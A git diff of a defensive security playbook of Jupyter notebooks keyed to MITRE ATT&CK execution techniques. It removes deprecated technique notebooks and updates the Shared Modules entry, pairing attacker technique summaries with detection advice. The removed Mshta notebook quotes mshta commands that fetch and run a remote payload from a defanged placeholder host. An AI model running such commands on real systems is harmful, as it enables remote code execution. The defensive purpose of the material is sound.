- "id": "8e356a02", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1121.ipynb b/playbook/tactics/execution/T1121.ipynb deleted file mode 100644 index 115daeff..00000000 --- a/playbook/tactics/execution/T1121.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4b5264e1", - "metadata": {}, - "source": "# T1121 - Regsvcs/Regasm\nRegsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)" - }, - { - "cell_type": "markdown", - "id": "0473acf9", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "7c5dce32", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1129.ipynb b/playbook/tactics/execution/T1129.ipynb index 20fc3b0b..8a8d5e2f 100644 --- a/playbook/tactics/execution/T1129.ipynb +++ b/playbook/tactics/execution/T1129.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "26a306a7", + "id": "aee1339e", "metadata": {}, - "source": "# T1129 - Shared Modules\nAdversaries may execute malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like CreateProcess, LoadLibrary, etc. of the Win32 API.(Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features." + "source": "# T1129 - Shared Modules\nAdversaries may execute malicious payloads via loading shared modules. Shared modules are executable files that are loaded into processes to provide access to reusable code, such as specific custom functions or invoking OS API functions (i.e., [Native API](https://attack.mitre.org/techniques/T1106)).\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, adversaries can modularize functionality of their malware into shared objects that perform various functions such as managing C2 network communications or execution of specific actions on objective.\n\nThe Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)\n\nThe Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL)" }, { "cell_type": "markdown", - "id": "ee5e1bde", + "id": "d7bb230d", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "fbe8aca2", + "id": "bd65d704", "metadata": {}, - "source": "## Detection\nMonitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior." + "source": "## Detection\nMonitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior." }, { "cell_type": "markdown", - "id": "e3a1b191", + "id": "fe2127bf", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender can modify system calls to break communications, route things to decoy systems, prevent full execution, etc.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/execution/T1151.ipynb b/playbook/tactics/execution/T1151.ipynb deleted file mode 100644 index 3c60b859..00000000 --- a/playbook/tactics/execution/T1151.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "f6e9742d", - "metadata": {}, - "source": "# T1151 - Space after Filename\nAdversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to \"evil.txt \" (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). \n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious." - }, - { - "cell_type": "markdown", - "id": "5e4c321b", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e824c99a", - "metadata": {}, - "source": "## Detection\nIt's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1152.ipynb b/playbook/tactics/execution/T1152.ipynb deleted file mode 100644 index a82b6d11..00000000 --- a/playbook/tactics/execution/T1152.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3fa7ef2a", - "metadata": {}, - "source": "# T1152 - Launchctl\nLaunchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process." - }, - { - "cell_type": "markdown", - "id": "cf6436ed", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "aae8d032", - "metadata": {}, - "source": "## Detection\nKnock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1153.ipynb b/playbook/tactics/execution/T1153.ipynb deleted file mode 100644 index e61272b2..00000000 --- a/playbook/tactics/execution/T1153.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "37ecb0bf", - "metadata": {}, - "source": "# T1153 - Source\n**This technique has been deprecated and should no longer be used.**\n\nThe source command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways source /path/to/filename [arguments] or .**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand." - }, - { - "cell_type": "markdown", - "id": "3e9104bb", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "05b06081", - "metadata": {}, - "source": "## Detection\nMonitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1154.ipynb b/playbook/tactics/execution/T1154.ipynb deleted file mode 100644 index 86144676..00000000 --- a/playbook/tactics/execution/T1154.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "d1aa65f2", - "metadata": {}, - "source": "# T1154 - Trap\nThe trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)" - }, - { - "cell_type": "markdown", - "id": "51796bc1", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "e68f57e3", - "metadata": {}, - "source": "## Detection\nTrap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1155.ipynb b/playbook/tactics/execution/T1155.ipynb deleted file mode 100644 index 30bf40f4..00000000 --- a/playbook/tactics/execution/T1155.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3e1b5624", - "metadata": {}, - "source": "# T1155 - AppleScript\nmacOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via osascript /path/to/script or osascript -e \"script here\"." - }, - { - "cell_type": "markdown", - "id": "0a676a89", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "1aa1786b", - "metadata": {}, - "source": "## Detection\nMonitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1168.ipynb b/playbook/tactics/execution/T1168.ipynb deleted file mode 100644 index 3325ffbc..00000000 --- a/playbook/tactics/execution/T1168.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "09b45375", - "metadata": {}, - "source": "# T1168 - Local Job Scheduling\nOn Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying /etc/crontab file, /etc/cron.d/ directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called StartCalendarInterval with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X." - }, - { - "cell_type": "markdown", - "id": "4855bc05", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "ba436909", - "metadata": {}, - "source": "## Detection\nLegitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1170.ipynb b/playbook/tactics/execution/T1170.ipynb deleted file mode 100644 index 98bca41c..00000000 --- a/playbook/tactics/execution/T1170.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6641af24", - "metadata": {}, - "source": "# T1170 - Mshta\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)" - }, - { - "cell_type": "markdown", - "id": "2578b945", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "90f34d06", - "metadata": {}, - "source": "## Detection\nUse process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1173.ipynb b/playbook/tactics/execution/T1173.ipynb deleted file mode 100644 index 6d1ab21b..00000000 --- a/playbook/tactics/execution/T1173.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "e166e347", - "metadata": {}, - "source": "# T1173 - Dynamic Data Exchange\nWindows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution." - }, - { - "cell_type": "markdown", - "id": "7aef5f4c", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "0c8f14ca", - "metadata": {}, - "source": "## Detection\nOLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1175.ipynb b/playbook/tactics/execution/T1175.ipynb deleted file mode 100644 index cd7bc4fb..00000000 --- a/playbook/tactics/execution/T1175.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "3a1d0b67", - "metadata": {}, - "source": "# T1175 - Component Object Model and Distributed COM\n**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document." - }, - { - "cell_type": "markdown", - "id": "68ef9635", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "3e3f4935", - "metadata": {}, - "source": "## Detection\nMonitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1177.ipynb b/playbook/tactics/execution/T1177.ipynb deleted file mode 100644 index 5a47c880..00000000 --- a/playbook/tactics/execution/T1177.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "6a14765d", - "metadata": {}, - "source": "# T1177 - LSASS Driver\nThe Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations." - }, - { - "cell_type": "markdown", - "id": "a14b5917", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "59dcdcdd", - "metadata": {}, - "source": "## Detection\nWith LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/execution/T1191.ipynb b/playbook/tactics/execution/T1191.ipynb deleted file mode 100644 index 4926c660..00000000 --- a/playbook/tactics/execution/T1191.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "7dcfa32a", - "metadata": {}, - "source": "# T1191 - CMSTP\nThe Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)" - }, - { - "cell_type": "markdown", - "id": "6ff97a13", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "6ed77cc8", - "metadata": {}, - "source": "## Detection\nUse process monitoring to detect and analyze the execution and arguments of CMSTP.exe. 